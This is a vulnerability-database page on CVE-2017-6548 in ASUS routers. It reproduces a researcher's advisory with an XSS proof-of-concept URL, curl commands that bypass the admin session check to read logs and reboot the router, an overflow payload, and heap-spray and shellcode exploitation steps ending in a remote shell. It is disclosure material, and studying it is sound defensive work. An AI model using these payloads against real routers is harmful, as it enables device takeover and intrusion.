Vulnerabilities > CVE-2017-6548 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Asus Rt-Ac53 Firmware 3.0.0.4.380.6038
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Buffer overflows in networkmap on ASUS RT-N56U, RT-N66U, RT-AC66U, RT-N66R, RT-AC66R, RT-AC68U, RT-AC68R, RT-N66W, RT-AC66W, RT-AC87R, RT-AC87U, RT-AC51U, RT-AC68P, RT-N11P, RT-N12+, RT-N12E B1, RT-AC3200, RT-AC53U, RT-AC1750, RT-AC1900P, RT-N300, and RT-AC750 routers with firmware before 3.0.0.4.380.7378; RT-AC68W routers with firmware before 3.0.0.4.380.7266; and RT-N600, RT-N12+ B1, RT-N11P B1, RT-N12VP B1, RT-N12E C1, RT-N300 B1, and RT-N12+ Pro routers with firmware before 3.0.0.4.380.9488; and Asuswrt-Merlin firmware before 380.65_2 allow remote attackers to execute arbitrary code on the router via a long host or port in crafted multicast messages.
Vulnerable Configurations
| Part | Description | Count |
|---|---|---|
| OS | 1 | |
| Hardware | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Overflow Buffers Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
- Client-side Injection-induced Buffer Overflow This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
- Filter Failure through Buffer Overflow In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
- MIME Conversion An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.
Exploit-Db
| description | ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Remote Code Execution. CVE-2017-6548. Webapps exploit for Hardware platform |
| file | exploits/hardware/webapps/41573.txt |
| id | EDB-ID:41573 |
| last seen | 2017-03-10 |
| modified | 2017-03-08 |
| platform | hardware |
| port | |
| published | 2017-03-08 |
| reporter | Exploit-DB |
| source | https://www.exploit-db.com/download/41573/ |
| title | ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Remote Code Execution |
| type | webapps |
Seebug
| bulletinFamily | exploit |
| description | ASUSWRT is a wireless router operating system that powers many routers produced by ASUS. Multiple exploitable vulnerabilities could be identified in the current version of ASUSWRT. Published: 08 Mar 2017 **Affected routers:** - RT-AC53 (3.0.0.4.380.6038) ---------- ## **Cross-Site Scripting (XSS)** ## Component: `httpd` CVE:CVE-2017-6547 **Vulnerability:** httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context. ... if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge"))) { char inviteCode[256]; snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file); send_page( 200, "OK", (char*) 0, inviteCode, 0); ... ---------- **PoC:** http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A  ---------- ## Session Stealing ## Component: `httpd` CVE: CVE-2017-6549 **Vulnerability:** httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality. asus_token_t* search_token_in_list(char* token, asus_token_t **prev) { asus_token_t *ptr = head; asus_token_t *tmp = NULL; int found = 0; char *cp = NULL; while(ptr != NULL) { if(!strncmp(token, ptr->token, 32)) { found = 1; break; } else if(strncmp(token, "cgi_logout", 10) == 0) { cp = strtok(ptr->useragent, "-"); if(strcmp(cp, "asusrouter") != 0) { found = 1; break; } } else { tmp = ptr; ptr = ptr->next; } } if(found == 1) { if(prev) *prev = tmp; return ptr; } else { return NULL; } } If an attacker sets his cookie value to `cgi_logout` and puts `asusrouter-Windows-IFTTT-1.0` into his `User-Agent` header he will be treated as signed-in if any other administrator session is active. **PoC:** # read syslog curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt #reboot router curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70' It’s possible to execute arbitrary commands on the router if any admin session is currently active. ---------- ## Remote Code Execution ## Component: `networkmap` CVE: CVE-2017-6548 `networkmap` is responsible for generating a map of computers connected to the router. It continuously monitors the LAN to detect ARP requests submitted by unknown computers. When a new MAC address appears it will probe the related IP address for running services like printer sharing, http server and also iTunes servers. This is implemented by sending out multicast SSP discoveries: M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 ST:upnp:rootdevice MAN:"ssdp:discover" MX:3 A device can then respond with messages which indicate the location of the iTunes service. HTTP/1.1 200 OK Location:HTTP://host:port/path **Vulnerability:** The function `process_device_repsonse` is responsible for parsing the SSDP answer: /************************************************************************************************/ // process the device response "HTTP/1.1 200 OK" int process_device_response(char *msg) { char *line, *body, *p; // temporary variables char *location = NULL; // the LOCATION: header char host[16], port[6]; // the ip and port of the device ushort destport;// the integer type of device port char *data = NULL; // the data in packet int http_fd;// the http socket fd int nbytes; // recv number int i; char *descri = NULL; int len; struct timeval timeout={10, 0}; //search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank. if( (body = strstr(msg, "\r\n\r\n")) != NULL) body +=4; else if ( (body = strstr(msg, "\r\n")) != NULL) body +=2; else return 0; p = msg; // find the LOCATION information. while( p!= NULL && p < body) { line = strsep(&p, "\r\n"); //divide up string if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0)) { location = strip_chars(&line[9], "\t"); location = strip_chars(&line[9], " "); break; } } NMP_DEBUG_F("UPnP location=%s\n", location); //fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau // get the destination ip location += 7; i = 0; while( (*location != ':') && (*location != '/')) { host[i] = *location++; i++; } host[i] = '\0'; //get the destination port if(*location == ':') { for(location++, i =0; *location != '/'; i++) port[i] = *location++; port[i] = '\0'; destport = (ushort)atoi(port); } else destport = 80; It contains multiple buffer overflows in the parsing code for host and port. This stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $pc stored on the stack. Parsing this message: HTTP/1.1 200 OK Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ will overflow `host[16]` and lead to $pc being set to `0x41414141` which is a starting point for further exploitation. **Exploitation:** In order to develop a working exploit we gather further information of the system. **General Information:** ASUSWRT is based on Linux which is running on a little endian MIPS CPU. The vulnerable program `networkmap` gets automatically started when the device boots and additionally gets restarted by the `watchdog` process if it crashes. # cat /proc/cpuinfo system type : MT7620 processor : 0 cpu model : MIPS 24Kc V5.0 BogoMIPS: 386.04 wait instruction: yes microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8] ASEs implemented: mips16 dsp shadow register sets: 1 core: 0 VCED exceptions : not available VCEI exceptions : not available # ps PID USER VSZ STAT COMMAND 1 admin 3940 S/sbin/init 2 admin0 SW [kthreadd] 3 admin0 SW [ksoftirqd/0] 4 admin0 SW [kworker/0:0] 5 admin0 SW [kworker/u:0] 6 admin0 SW< [khelper] 7 admin0 SW [sync_supers] 8 admin0 SW [bdi-default] 9 admin0 SW< [kintegrityd] 10 admin0 SW< [kblockd] 11 admin0 SW [kswapd0] 12 admin0 SW [fsnotify_mark] 13 admin0 SW< [crypto] 17 admin0 SW [mtdblock0] 18 admin0 SW [mtdblock1] 19 admin0 SW [mtdblock2] 20 admin0 SW [mtdblock3] 21 admin0 SW [mtdblock4] 22 admin0 SW [mtdblock5] 23 admin0 SW [kworker/u:1] 30 admin0 SW [kworker/0:1] 41 admin 660 Shotplug2 --persistent --no-coldplug 76 admin 3924 Sconsole 78 admin 1276 S/sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6 80 admin 1276 S/sbin/klogd -c 5 82 admin 1292 S/bin/sh 115 admin0 SW [RtmpCmdQTask] 116 admin0 SW [RtmpWscTask] 135 admin0 SW [RtmpCmdQTask] 136 admin0 SW [RtmpWscTask] 164 admin 3932 S/sbin/wanduck 168 admin 1128 Sdropbear -p 192.168.1.1:22 -a 175 admin 3932 Swpsaide 189 nobody1056 Sdnsmasq --log-async 194 admin 2588 Savahi-daemon: running [RT-AC53-B8F4.local] 196 admin 4112 Shttpd -i br0 197 admin 1068 S/usr/sbin/infosvr br0 199 admin 3932 Swatchdog 201 admin 2180 Srstats 210 admin 1160 Slld2d br0 211 admin 3932 Sots 224 admin 800 Sminiupnpd -f /etc/upnp/config 229 admin 1284 S/sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249 302 admin 1152 Sdropbear -p 192.168.1.1:22 -a 303 admin 1300 S-sh 344 admin 1128 Snetworkmap 359 admin 1280 Rps # uname -a Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux **Memory Map:** `networkmap`’s memory map is analyzed to continue exploiting the device. # cat /proc/$(pidof networkmap)/maps 00400000-0040b000 r-xp 00000000 1f:04 270/usr/sbin/networkmap 0041a000-0041b000 rw-p 0000a000 1f:04 270/usr/sbin/networkmap 0041b000-0041f000 rwxp 00000000 00:00 0 [heap] 2b893000-2b894000 rw-p 00000000 00:00 0 2b894000-2b89a000 r-xp 00000000 1f:04 828/lib/ld-uClibc.so.0 2b89a000-2b8a0000 rw-s 00000000 00:04 0 /SYSV000003e9 (deleted) 2b8a0000-2b8a4000 rw-s 00000000 00:04 32769 /SYSV000003ea (deleted) 2b8a9000-2b8aa000 r--p 00005000 1f:04 828/lib/ld-uClibc.so.0 2b8aa000-2b8ab000 rw-p 00006000 1f:04 828/lib/ld-uClibc.so.0 2b8ab000-2b8d9000 r-xp 00000000 1f:04 258/usr/lib/libshared.so 2b8d9000-2b8e8000 ---p 00000000 00:00 0 2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258/usr/lib/libshared.so 2b8eb000-2b8ed000 rw-p 00000000 00:00 0 2b8ed000-2b8ef000 r-xp 00000000 1f:04 235/usr/lib/libnvram.so 2b8ef000-2b8ff000 ---p 00000000 00:00 0 2b8ff000-2b900000 rw-p 00002000 1f:04 235/usr/lib/libnvram.so 2b900000-2b90e000 r-xp 00000000 1f:04 760/lib/libgcc_s.so.1 2b90e000-2b91e000 ---p 00000000 00:00 0 2b91e000-2b91f000 rw-p 0000e000 1f:04 760/lib/libgcc_s.so.1 2b91f000-2b95a000 r-xp 00000000 1f:04 827/lib/libc.so.0 2b95a000-2b96a000 ---p 00000000 00:00 0 2b96a000-2b96b000 rw-p 0003b000 1f:04 827/lib/libc.so.0 2b96b000-2b96f000 rw-p 00000000 00:00 0 2b970000-2b97f000 r--s 03eb0000 00:0c 78 /dev/nvram 7f8a7000-7f8c8000 rwxp 00000000 00:00 0 [stack] 7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso] Observations: - Partial ASLR is activated: - Stack address is randomized - Library addresses are randomized - Program address is not randomized - Heap address is not randomized - There is no Stack-Protector - Both heap and stack are mapped executable - The binary contains almost no gadgets suitable for building a ROP chain **Exploit:** The final exploit consists of the following steps: 1.Starting a webserver serving shellcode 2.Listening for multicast UDP messages send by the router 3.Database clearing / crashing: to make the heap layout predictable - Randomizing MAC address - Send message: jump to gadget that deletes networkmap’s database and crashes - networkmap will be restarted 4.Spraying heap 1, 2: - Randomizing MAC address - Send message: containing the webserver’s IP+port - networkmap will receive shellcode and store it on the heap 5.Starting payload - Randomize MAC address - Send message: jump to heap address containing the shellcode 6.Connect to opened shell For further details check out the full exploit: [networkmap-pwn.py](https://bierbaumer.net/networkmap-pwn.py) Example: # ./networkmap-pwn.py [-] starting webserver [-] received SSP discovery [-] clearing database and crashing [-] received SSP discovery [-] spraying heap 1/2 [-] got shellcode request [-] sending shellcode [-] received SSP discovery [-] spraying heap 2/2 [-] received SSP discovery [-] starting payload [-] try to connect to shell [-] try to connect to shell [+] connected Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux [+] pwned |
| id | SSV:92758 |
| last seen | 2017-11-19 |
| modified | 2017-03-10 |
| published | 2017-03-10 |
| reporter | sebao |
| title | ASUSWRT - Multiple Vulnerabilities |